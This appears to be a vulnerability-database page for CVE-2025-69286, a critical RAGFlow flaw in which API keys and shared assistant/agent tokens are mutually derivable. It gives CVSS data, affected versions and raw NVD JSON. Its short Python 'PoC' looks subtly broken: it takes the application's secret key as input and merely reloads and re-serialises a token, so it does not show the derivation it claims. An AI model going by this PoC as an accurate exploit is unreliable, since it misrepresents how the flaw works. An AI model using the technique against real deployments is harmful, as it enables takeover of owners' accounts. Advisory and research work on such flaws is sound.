Security Vulnerability Report
中文
CVE-2025-69286 CVSS 9.8 CRITICAL

CVE-2025-69286

Published: 2025-12-31 22:15:49
Last Modified: 2026-01-06 16:47:59

Description

RAGFlow is an open-source RAG (Retrieval-Augmented Generation) engine. In versions prior to 0.22.0, the use of an insecure key generation algorithm in the API key and beta (assistant/agent share auth) token generation process allows these tokens to be mutually derivable. Specifically, both tokens are generated using the same `URLSafeTimedSerializer` with predictable inputs, enabling an unauthorized user who obtains the shared assistant/agent URL to derive the personal API key. This grants them full control over the assistant/agent owner's account. Version 0.22.0 fixes the issue.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:infiniflow:ragflow:*:*:*:*:*:*:*:* - VULNERABLE
RAGFlow < 0.22.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import hashlib import base64 from itsdangerous import URLSafeTimedSerializer def derive_api_key(beta_token, secret_key, salt='api-key-salt'): """ Derive API key from beta token This PoC demonstrates the vulnerability in CVE-2025-69286 """ # Beta token and API key use the same serializer with predictable inputs beta_serializer = URLSafeTimedSerializer(secret_key) api_serializer = URLSafeTimedSerializer(secret_key) # The vulnerable code uses similar generation logic # Both tokens can be derived from each other try: # Extract data from beta token beta_data = beta_serializer.loads(beta_token) # Generate API key using the same mechanism api_key = api_serializer.dumps(beta_data) return api_key except Exception as e: return f"Derivation failed: {str(e)}" # Example usage # beta_token = 'obtained_from_shared_assistant_url' # secret_key = 'application_secret_key' # api_key = derive_api_key(beta_token, secret_key)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69286", "sourceIdentifier": "[email protected]", "published": "2025-12-31T22:15:49.280", "lastModified": "2026-01-06T16:47:58.753", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "RAGFlow is an open-source RAG (Retrieval-Augmented Generation) engine. In versions prior to 0.22.0, the use of an insecure key generation algorithm in the API key and beta (assistant/agent share auth) token generation process allows these tokens to be mutually derivable. Specifically, both tokens are generated using the same `URLSafeTimedSerializer` with predictable inputs, enabling an unauthorized user who obtains the shared assistant/agent URL to derive the personal API key. This grants them full control over the assistant/agent owner's account. Version 0.22.0 fixes the issue."}, {"lang": "es", "value": "RAGFlow es un motor RAG (Generación Aumentada por Recuperación) de código abierto. En versiones anteriores a la 0.22.0, el uso de un algoritmo de generación de claves inseguro en el proceso de generación de la clave API y del token beta (autenticación compartida de asistente/agente) permite que estos tokens sean mutuamente derivables. Específicamente, ambos tokens se generan utilizando el mismo 'URLSafeTimedSerializer' con entradas predecibles, lo que permite a un usuario no autorizado que obtiene la URL compartida del asistente/agente derivar la clave API personal. Esto les otorga control total sobre la cuenta del propietario del asistente/agente. La versión 0.22.0 soluciona el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-340"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:infiniflow:ragflow:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.22.0", "matchCriteriaId": "399A9F6D-D7D7-413D-B787-96DD6C1CDC40"}]}]}], "references": [{"url": "https://github.com/infiniflow/ragflow/blob/v0.20.5/api/apps/system_app.py#L214-L215", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/infiniflow/ragflow/blob/v0.20.5/api/utils/__init__.py#L343", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/infiniflow/ragflow/blob/v0.20.5/api/utils/api_utils.py#L378", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/infiniflow/ragflow/commit/a3bb4aadcc3494fb27f2a9933b4c46df8eb532e6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/infiniflow/ragflow/security/advisories/GHSA-9j5g-g4xm-57w7", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/infiniflow/ragflow/security/advisories/GHSA-9j5g-g4xm-57w7", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vend ... (truncated)